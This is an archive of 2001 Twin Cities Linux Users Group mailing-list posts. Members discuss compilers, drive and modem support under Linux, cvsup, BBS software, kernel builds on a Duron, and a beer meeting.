<20010821121517.A20562@beaver.iucha.org> On Tue, Aug 21, 2001 at 10:47:40AM -0500, Bob Tanner wrote: > Compiling a significantly large java project. > > IBM Java2-13 > real 16m29.536s > user 11m18.010s > sys 2m6.990s > > Jikes > real 12m1.854s > user 4m57.940s > sys 1m49.650s Execution speed? florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From foeclan at winternet.com Tue Aug 21 12:30:23 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) In-Reply-To: <20010821102402.089658b3.blayer@qwest.net> Message-ID: I was more thinking the DVD playing and C-write/rewrite features rather than the installation step. -- Michael Vieths Foeclan@Winternet.Com On Tue, 21 Aug 2001, Bill Layer wrote: > On Tue, 21 Aug 2001 09:17:21 -0500 (CDT) > "Michael Vieths" wrote: > > > Anyone had experience getting this drive to work in Linux? Bought a > > Presario 1200Z laptop and I'm trying to be prepared to do battle with it > > when I repartition and install Linux. :) > > No, but it is easy enough to boot a Linux rescue floppy / CD like Tom's > RTBT or the bootable business card, and try to mount the drive. If it > mounts with a rescue system, it will most likely be fine with any > installer. > > -.bill.layer.- > From veldy at veldy.net Tue Aug 21 12:46:41 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] ftpd hooks to firewall? References: Message-ID: <014301c12a69$3d908a60$3028680a@tgt.com> The ipt_ftp (or is it iptables_ftp) kernel module for iptables does this by watching the traffic. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Joshua b. Jore" To: Sent: Tuesday, August 21, 2001 2:17 AM Subject: [TCLUG] ftpd hooks to firewall? > Has anyone run across a ftp daemon that can request firewall changes on > the fly? Say, just prior to doing allowing a specific client to connect to > a port open just that port to just that client and only for stateful > connections. After the connection is established then just remove the > rule. > > Anyone? > > Joshua Jore > Minneapolis Ward 3, precinct 10 > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speech is simply staggering." - someone else > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From list at slushpupie.com Tue Aug 21 12:44:08 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) In-Reply-To: Message-ID: If it is on the "Good List" for CD-R drives, then SCSI emulation should just work for it. As far as DVD reading, that is native, just make sure you have the UDF module in the kernel. To really play DVD's though, you need either a really fast CPU and Video, or you need a decent decoder card that is supported Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Michael Vieths Sent: Tuesday, August 21, 2001 12:30 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] DVD/CD-RW combo drive (laptop) I was more thinking the DVD playing and C-write/rewrite features rather than the installation step. -- Michael Vieths Foeclan@Winternet.Com On Tue, 21 Aug 2001, Bill Layer wrote: > On Tue, 21 Aug 2001 09:17:21 -0500 (CDT) > "Michael Vieths" wrote: > > > Anyone had experience getting this drive to work in Linux? Bought a > > Presario 1200Z laptop and I'm trying to be prepared to do battle with it > > when I repartition and install Linux. :) > > No, but it is easy enough to boot a Linux rescue floppy / CD like Tom's > RTBT or the bootable business card, and try to mount the drive. If it > mounts with a rescue system, it will most likely be fine with any > installer. > > -.bill.layer.- > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From blayer at qwest.net Tue Aug 21 12:54:37 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) In-Reply-To: References: <20010821102402.089658b3.blayer@qwest.net> Message-ID: <20010821125437.27410903.blayer@qwest.net> On Tue, 21 Aug 2001 12:30:23 -0500 (CDT) "Michael Vieths" wrote: > I was more thinking the DVD playing and C-write/rewrite features rather > than the installation step. Be more specific next time - 'work' can mean a lot of things... Chances are, it is a generic MMC compliant drive (99% of all new drives are) in which case it will be fine. If you can verify the MMC compiance, that will be a major assurance. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From jacque at fruitioninc.com Tue Aug 21 13:04:03 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd Message-ID: Hey all, we'll be meeting at the Green Mill Brewing Co on Hamline in St. Paul. We'll be in the restaurant part, so all ages are welcome. Details here: http://www.mn-linux.org/beermeeting/ See you there! Jacque From lueyb at gridley.ACNS.Carleton.edu Tue Aug 21 13:47:44 2001 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] cvsup retry timer Message-ID: I'm using cvsup (on FreeBSD) to update the system, but I keep getting network write errors and the such. But it is working so I don't mind too much. But after each error cvsup decides to wait 1-2 hours before starting up again -- how can I force it to retry after a 5 minute wait or something more reasonable? I can't find anything in the FAQ or man pages. Thanks, Ben From veldy at veldy.net Tue Aug 21 14:14:58 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] cvsup retry timer References: Message-ID: <01fb01c12a75$929c94c0$3028680a@tgt.com> Perhaps you should redirect this question to freebsd-questions@freebsd.org Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Ben Luey" To: Sent: Tuesday, August 21, 2001 1:47 PM Subject: [TCLUG] cvsup retry timer > I'm using cvsup (on FreeBSD) to update the system, but I keep getting > network write errors and the such. But it is working so I don't mind too > much. But after each error cvsup decides to wait 1-2 hours before starting > up again -- how can I force it to retry after a 5 minute wait or something > more reasonable? I can't find anything in the FAQ or man pages. > > Thanks, > > Ben > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From josh at greentechnologist.org Tue Aug 21 09:27:04 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] ftpd hooks to firewall? In-Reply-To: <014301c12a69$3d908a60$3028680a@tgt.com> Message-ID: Thanks, I'll check that out. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Tue, 21 Aug 2001, Thomas T. Veldhouse wrote: > The ipt_ftp (or is it iptables_ftp) kernel module for iptables does this by > watching the traffic. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Joshua b. Jore" > To: > Sent: Tuesday, August 21, 2001 2:17 AM > Subject: [TCLUG] ftpd hooks to firewall? > > > > Has anyone run across a ftp daemon that can request firewall changes on > > the fly? Say, just prior to doing allowing a specific client to connect to > > a port open just that port to just that client and only for stateful > > connections. After the connection is established then just remove the > > rule. > > > > Anyone? > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jacque at fruitioninc.com Tue Aug 21 13:04:03 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Thursday the 23rd Message-ID: Hey all, we'll be meeting at the Green Mill Brewing Co on Hamline in St. Paul. We'll be in the restaurant part, so all ages are welcome. Details here: http://www.mn-linux.org/beermeeting/ See you there! Jacque _______________________________________________ tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-announce From simeonuj at eetc.com Tue Aug 21 14:42:01 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd References: Message-ID: <3B82B956.8BDD8E26@eetc.com> Wheeeee!!! 5 min from home. :) Maybe I'll show up. sim From doughanson at mediaone.net Tue Aug 21 14:45:45 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd References: <3B82B956.8BDD8E26@eetc.com> Message-ID: <001701c12a79$e0f4bef0$eaaf7a81@doug> Ditto... Doug ----- Original Message ----- From: "Simeon Johnston" To: Sent: Tuesday, August 21, 2001 2:42 PM Subject: Re: [TCLUG] Beer Meeting Thursday the 23rd > Wheeeee!!! > 5 min from home. :) > Maybe I'll show up. > > sim > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jethro at freakzilla.com Tue Aug 21 14:51:31 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd In-Reply-To: <001701c12a79$e0f4bef0$eaaf7a81@doug> Message-ID: Hey, On Tue, 21 Aug 2001, Doug Hanson wrote: > Ditto... Same here - anyone who still wants their Loki games should show up! -Yaron -- From florin at iucha.net Tue Aug 21 14:52:42 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] cvsup retry timer In-Reply-To: <01fb01c12a75$929c94c0$3028680a@tgt.com>; from veldy@veldy.net on Tue, Aug 21, 2001 at 02:14:58PM -0500 References: <01fb01c12a75$929c94c0$3028680a@tgt.com> Message-ID: <20010821145242.B20562@beaver.iucha.org> On Tue, Aug 21, 2001 at 02:14:58PM -0500, Thomas T. Veldhouse wrote: > Perhaps you should redirect this question to freebsd-questions@freebsd.org > You don't need to be that harsh. He was trying to get his problem solved without adding to the global noise, by using the "local talent". Not everybody on the list is a Linux bigot and some might be interested in the answer. On the third hand, the relation between his question and FreeBSD was incidental: cvsup runs on Linux too and it can be used for other things than updating a FreeBSD system, getting GCC for instance: http://gcc.gnu.org/cvsup.html florin > From: "Ben Luey" > To: > Sent: Tuesday, August 21, 2001 1:47 PM > Subject: [TCLUG] cvsup retry timer > > > > I'm using cvsup (on FreeBSD) to update the system, but I keep getting > > network write errors and the such. But it is working so I don't mind too > > much. But after each error cvsup decides to wait 1-2 hours before starting > > up again -- how can I force it to retry after a 5 minute wait or something > > more reasonable? I can't find anything in the FAQ or man pages. > > > > Thanks, > > > > Ben -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Tue Aug 21 14:54:09 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd In-Reply-To: <001701c12a79$e0f4bef0$eaaf7a81@doug>; from doughanson@mediaone.net on Tue, Aug 21, 2001 at 02:45:45PM -0500 References: <3B82B956.8BDD8E26@eetc.com> <001701c12a79$e0f4bef0$eaaf7a81@doug> Message-ID: <20010821145408.C20562@beaver.iucha.org> On Tue, Aug 21, 2001 at 02:45:45PM -0500, Doug Hanson wrote: > Ditto... > > Doug > > ----- Original Message ----- > From: "Simeon Johnston" > To: > Sent: Tuesday, August 21, 2001 2:42 PM > Subject: Re: [TCLUG] Beer Meeting Thursday the 23rd > > > > Wheeeee!!! > > 5 min from home. :) > > Maybe I'll show up. > > > > sim /me too With GM being so close to so many people, one may wonder why is it the first time we have the meeting there... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From shane at shell.schulte.org Tue Aug 21 15:05:33 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] BSDCon Message-ID: This question might be off topic but has anyone on this list been to BSDCon?? I was just wondering how expencive it is. Let me know via tclug list or shane@shanekinney.net. Thanks! ~Shane From ben at nerp.net Tue Aug 21 15:37:24 2001 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- yes, I have a loki game that I recived by mistake.. I will bring it with to return to you Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Tue, 21 Aug 2001, Yaron wrote: > Same here - anyone who still wants their Loki games should show up! > > > -Yaron > > -- -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBO4LGhctpDhsSpvgtAQHBZgQAnfXAYjrfWBDigmnakVfPHh9kF8pvB7xC GGODWK5mye2WIBnj6ZdSAEnVNecv3Anfwb4vobKFHdVac/wyEzxpherXI7iEIyG2 9Y+FzvUmGDXgCA2QtH6VYAXLQEahRMEKahILdFimcKNFk2IRErK3+8ZNGQkTIB4y GtUsXGWCu5w= =6Rle -----END PGP SIGNATURE----- From tanner at real-time.com Tue Aug 21 16:53:01 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Linux based BBS? Message-ID: <20010821165301.X30458@real-time.com> Anyone have recommendations for a linux based BBS. I thought these things died with Atari 2400s, but I guess not. I have found several, but I am wondering has any experience using BBS software under linux. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From clay at fandre.com Tue Aug 21 17:00:59 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Linux based BBS? In-Reply-To: <20010821165301.X30458@real-time.com> References: <20010821165301.X30458@real-time.com> Message-ID: <20010821170058.B31160@fandre.com> I was reading something about wildcat being ported to Linux. Not sure how good it is though. Bob Tanner [tanner@real-time.com] wrote: > Anyone have recommendations for a linux based BBS. > > I thought these things died with Atari 2400s, but I guess not. > > I have found several, but I am wondering has any experience using BBS software > under linux. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tanner at real-time.com Tue Aug 21 17:01:14 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Linux based BBS? In-Reply-To: <20010821170058.B31160@fandre.com>; from clay@fandre.com on Tue, Aug 21, 2001 at 05:00:59PM -0500 References: <20010821165301.X30458@real-time.com> <20010821170058.B31160@fandre.com> Message-ID: <20010821170114.Z30458@real-time.com> Quoting Clay Fandre (clay@fandre.com): > I was reading something about wildcat being ported to Linux. Not sure how good > it is though. > Heh, that is one of the BBS I used in the very old days. The other was TPro, I think it was TPro. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mnfan11 at yahoo.com Tue Aug 21 16:47:59 2001 From: mnfan11 at yahoo.com (Elvedin T.) Date: Mon Jan 17 13:26:40 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux Message-ID: <20010821214759.8277.qmail@web13005.mail.yahoo.com> I tried to find some driver for my DSL modem, a Intel 3200, but I had no luck. I looked at the Intel web site, but they had no useful info. So I'm asking if anyone know where I can get some drivers for my DSL modem. --------------------------------- Do You Yahoo!? Make international calls for as low as $0.04/minute with Yahoo! Messenger. -------------- next part -------------- An HTML attachment was scrubbed... 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I looked at the Intel web site, but they had no useful info. > So I'm asking if anyone know where I can get some drivers for my DSL > modem. I'm fairly certain that they don't exist. Someone asked about it on this list a while ago, take a look at the archives... I was looking for this last month as well, and found nothing. I think Intel bought somebody's design, so it's probably not even up to them to release the specs. I'd ask Qwest if you can trade it in for an external Cisco (they'll probably charge you about $100 for it). -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From blutgens at sistina.com Tue Aug 21 17:38:38 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] cvsup retry timer In-Reply-To: <20010821145242.B20562@beaver.iucha.org>; from florin@iucha.net on Tue, Aug 21, 2001 at 02:52:42PM -0500 References: <01fb01c12a75$929c94c0$3028680a@tgt.com> <20010821145242.B20562@beaver.iucha.org> Message-ID: <20010821173838.A3884@sistina.com> On Tue, Aug 21, 2001 at 02:52:42PM -0500, Florin Iucha wrote: > >You don't need to be that harsh. He was trying to get his problem solved >without adding to the global noise, by using the "local talent". That wasn't harsh, and he was not out of line at all. This is, after all, tclug not a freebsd user group. Besides you're more likely to get a straight freebsd answer from someone who uses it. > >Not everybody on the list is a Linux bigot and some might be interested in >the answer. His answer had nothing to do with bigotry. >On the third hand, the relation between his question and FreeBSD was >incidental: cvsup runs on Linux too and it can be used for other things than >updating a FreeBSD system, getting GCC for instance: > http://gcc.gnu.org/cvsup.html How many people on this list use cvsup on linux? Are there any linux distros that support cvsup? Is cvsup installed by default on any distro as a means to support upgrades? It's a freebsd question. You're more likely to get a straigh answer to a freebsd question on a freebsd list. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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I'd be more worried about the graphics adapter than anything else. Sidenote: Does Compaq still allocate a small part of the hard drive to an extended BIOS of sorts? I seem to recall some discussion about that a few years ago. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I think, therefore I am. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ I think. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010821/6f5f5f0a/attachment.pgp From andy at theasis.com Tue Aug 21 13:53:41 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] kernel 2.4 and Duron Message-ID: I've been having a bad time getting 2.4 to work a new Duron 900 system. I can compile a happy 386 or pentium optimized kernel, but when I try to select Duron/Athlon CPU type in the config, the resulting kernel has all manner of problems booting. FWIW, this is a slackware 8.0 install, which came with 2.4.5. After trying several times with that, I grabbed 2.4.9. Same deal -- 386 or pentium optimizations boot happily, but no dice for the Duron choice. Anyone else had similar experiences, or have any insights about this? Could it, e.g., be the gcc version? Just for fun I tried compiliing with egcs, but had same result. Cheers, Andy From nate at techie.com Tue Aug 21 19:04:10 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Linux based BBS? In-Reply-To: <20010821170058.B31160@fandre.com>; from clay@fandre.com on Tue, Aug 21, 2001 at 05:00:59PM -0500 References: <20010821165301.X30458@real-time.com> <20010821170058.B31160@fandre.com> Message-ID: <20010821190410.B767@candle.mn.mediaone.net> On Tue, Aug 21, 2001 at 05:00:59PM -0500, Clay Fandre wrote: > I was reading something about wildcat being ported to Linux. Not sure > how good it is though. UGH! I thought all of Mustang Software sucked, including Qmodem. A local board back home converted from an custom Amiga BBS to Wildcat! on Windows and the BBS went downhill _really_ fast. It's unfortunate that BBSes dissappeared, but that's just the facts. It seems that weblogs have come closest to recreating the community feel of BBSes. But I haven't found anything that replaces door games. I've looked around from time to time at Linux BBS software, but I never got around the setting one up. Citadel/UX seemed to be the most promising on my list. I believe it's open source and free. Nate From foeclan at winternet.com Tue Aug 21 19:18:27 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) References: <20010821183640.13601ded.hick0088@tc.umn.edu> Message-ID: <3B82FA53.4010000@winternet.com> > Sidenote: Does Compaq still allocate a small part of the hard drive to an > extended BIOS of sorts? I seem to recall some discussion about that a few > years ago. > > I don't believe so... there's a 'system' partition (D:), but it looks to be backup configuration and driver files more than anything. Considering I just blew away all my partitions and redid them, and WinME seems to be reinstalling fine, I'm guessing it's not necessary for anything but Compaq's management stuff. -- Michael Vieths Email: Foeclan@Winternet.com Web: http://www.geekbear.net From gabe at msi.umn.edu Tue Aug 21 21:21:19 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] cvsup retry timer In-Reply-To: <20010821145242.B20562@beaver.iucha.org>; from florin@iucha.net on Tue, Aug 21, 2001 at 02:52:42PM -0500 References: <01fb01c12a75$929c94c0$3028680a@tgt.com> <20010821145242.B20562@beaver.iucha.org> Message-ID: <20010821212119.B28695@monsoon.msi.umn.edu> On Tue, Aug 21, 2001 at 02:52:42PM -0500, Florin Iucha wrote: > On Tue, Aug 21, 2001 at 02:14:58PM -0500, Thomas T. Veldhouse wrote: > > Perhaps you should redirect this question to freebsd-questions@freebsd.org > > > > You don't need to be that harsh. He was trying to get his problem solved > without adding to the global noise, by using the "local talent". > > Not everybody on the list is a Linux bigot and some might be interested in > the answer. I'll take this opportunity to plug Mike Horwath's local FreeBSD mailing list: freebsd-users@geeks.org. To subscribe: http://mailman.Geeks.ORG/mailman/listinfo/freebsd-users Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From dieman+tclug at ringworld.org Tue Aug 21 21:24:06 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Linux based BBS? In-Reply-To: <20010821190410.B767@candle.mn.mediaone.net> References: <20010821165301.X30458@real-time.com> <20010821170058.B31160@fandre.com> <20010821190410.B767@candle.mn.mediaone.net> Message-ID: <20010821212406.V9092@ringworld.org> * Nate Straz [010821 19:06]: > On Tue, Aug 21, 2001 at 05:00:59PM -0500, Clay Fandre wrote: > > I was reading something about wildcat being ported to Linux. Not sure > > how good it is though. > UGH! I thought all of Mustang Software sucked, including Qmodem. A Remote Access was the only *real* BBS software. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From kbullock at ringworld.org Tue Aug 21 23:22:30 2001 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] exporting console to serial port In-Reply-To: Message-ID: On Fri, 17 Aug 2001, Brian wrote: > Yup, gracias. For some reason, the index on linuxdocs.org does not have > this HOWTO listed, and the index on linuxdoc.org does. Time for me to > stop using linuxdocs.org I guess. And what's up with the banner ads on > linuxdocs? I've never seen linuxdocs.org before... it's not even registered to the same person as linuxdoc.org. http://www.linuxdoc.org/ is the official web site of the LDP. Use it instead. Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From kbullock at ringworld.org Tue Aug 21 23:40:45 2001 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Dead mobo, Athlon question Message-ID: Hey all -- When I got home from dinner last night, I tried to wake my computer up (I had left it asleep), to no avail. I hit the reset switch. Nothing. I held in the ATX power switch on the front for four seconds. It didn't turn off. I figure, okay, it got stuck in sleep mode. So I turned the hard power switch on the back of the case off, then on again. Then I hit the power switch on the front again to turn the computer back on. Nothing. Sh*t. So I'm guessing my motherboard is fried. Does this sound reasonable? (I have another board laying around so I can check, but I'm out of town right now.) If my board is indeed fried and I can't RMA it, I'm planning on replacing it with a Thunderbird (not a very fast one though, I'm saving up for an iBook). Any recommendations for a good Athlon mobo? I'm looking for a non-DDR board (don't want to buy new memory). So far I'm considering an EPoX 8KTA or an ASUS A7V (or another of either series, e.g. 8KTA2 or A7V133). What's the difference between the VIA KT133 and the KT133A? Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From austad at marketwatch.com Wed Aug 22 00:01:21 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDDB@mspexch2.office.mktw.net> Last I heard, the 3200 was like a winmodem and won't work with linux. The 3200 sucks anyway, my girlfriend had one and it was a total piece of crap. Get a 675/678 instead. Then your internet connection won't be dependent on your linux box, which I'm sure you're always tweaking and playing around with. Jay -----Original Message----- From: Eric Sandeen [mailto:sandeen@sgi.com] Sent: Tuesday, August 21, 2001 5:16 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Intel 3200 DSL modem with Linux "Elvedin T." wrote: > > I tried to find some driver for my DSL modem, a Intel 3200, but I had > no luck. I looked at the Intel web site, but they had no useful info. > So I'm asking if anyone know where I can get some drivers for my DSL > modem. I'm fairly certain that they don't exist. Someone asked about it on this list a while ago, take a look at the archives... I was looking for this last month as well, and found nothing. I think Intel bought somebody's design, so it's probably not even up to them to release the specs. I'd ask Qwest if you can trade it in for an external Cisco (they'll probably charge you about $100 for it). -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From thomas at stderr.net Wed Aug 22 15:53:48 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] #tclug wonders wheter the list is dead! Message-ID: <20010822225348.A15549@io.stderr.net> It's been the ongoing discussion all day! -- Thomas Eibner DnsZone mod_pointer From blayer at qwest.net Wed Aug 22 16:05:19 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Hardware questions Message-ID: <20010822160519.31ee8e6b.blayer@qwest.net> Two questions: I've got a batch (8?) 10baseT ethernet cards, manufactured by Gateway Communications (who I think was acquired by Microdyne several years ago). These are legacy cards, with jumper / DIP setting the I/O, IRQ, ROM addr. etc. They have a Fujitsu chipset, three different chips... #1 - MB86953 #2 - MB86960 #3 - MB86962 In the Ethernet-HOWTO, I have read about a linux driver for cards based on the Fujitsu MB86965 chip, but none of these other numbers come up. I was wondering if anyone knew anything about these cards, and whether or not they are supported. I'm also wondering if perhaps the MB86965 chip is a conglomerate or close relative of the parts I mentioned, seeing as the numbers are so close. Second, I need a PS/2 extension cable, about 6 feet in length. Standard M/F type, for extending a keyboard or mouse. Let me know if you have a spare, I've got plenty to swap for it. Just me, or is the list dead quiet today? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From kent at structural-wood.com Wed Aug 22 16:12:56 2001 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Portable wireless X-Terminal References: <01fb01c12a75$929c94c0$3028680a@tgt.com> <20010821145242.B20562@beaver.iucha.org> <20010821212119.B28695@monsoon.msi.umn.edu> Message-ID: <3B842058.960C834B@structural-wood.com> Has anybody taken a shot at turning a laptop into a portable wireless X-Terminal? I would think it would be pretty straightforward but I've never played with wireless stuff or laptops under linux... Kent From florin at iucha.net Wed Aug 22 16:14:13 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] cvsup retry timer In-Reply-To: <20010821212119.B28695@monsoon.msi.umn.edu>; from gabe@msi.umn.edu on Tue, Aug 21, 2001 at 09:21:19PM -0500 References: <01fb01c12a75$929c94c0$3028680a@tgt.com> <20010821145242.B20562@beaver.iucha.org> <20010821212119.B28695@monsoon.msi.umn.edu> Message-ID: <20010822161413.B7550@beaver.iucha.org> On Tue, Aug 21, 2001 at 09:21:19PM -0500, Gabe Turner wrote: > On Tue, Aug 21, 2001 at 02:52:42PM -0500, Florin Iucha wrote: > > On Tue, Aug 21, 2001 at 02:14:58PM -0500, Thomas T. Veldhouse wrote: > > > Perhaps you should redirect this question to freebsd-questions@freebsd.org > > > > > > > You don't need to be that harsh. He was trying to get his problem solved > > without adding to the global noise, by using the "local talent". > > > > Not everybody on the list is a Linux bigot and some might be interested in > > the answer. > > I'll take this opportunity to plug Mike Horwath's local FreeBSD mailing > list: freebsd-users@geeks.org. To subscribe: > http://mailman.Geeks.ORG/mailman/listinfo/freebsd-users I have just saw Thomas' name in the said freebsd-users mailing list... Looks like I jumped the gun. My apologies. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From crempp at pro-ns.net Wed Aug 22 16:21:20 2001 From: crempp at pro-ns.net (Chad Rempp) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Project in Artificial Intelligence Research Message-ID: <000501c12b50$63769b60$3a10408a@e00151502k> This is for those interested in artificial intelligence. I started a research group focused on learning the concepts of the field. If interested you can learn more at http://www.cnhtech.com/PAIR. Chad crempp@pro-ns.net From zibby+tclug at ringworld.org Wed Aug 22 00:14:16 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:41 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux In-Reply-To: <20010821214759.8277.qmail@web13005.mail.yahoo.com> Message-ID: You... loose. Only external Cisco modems 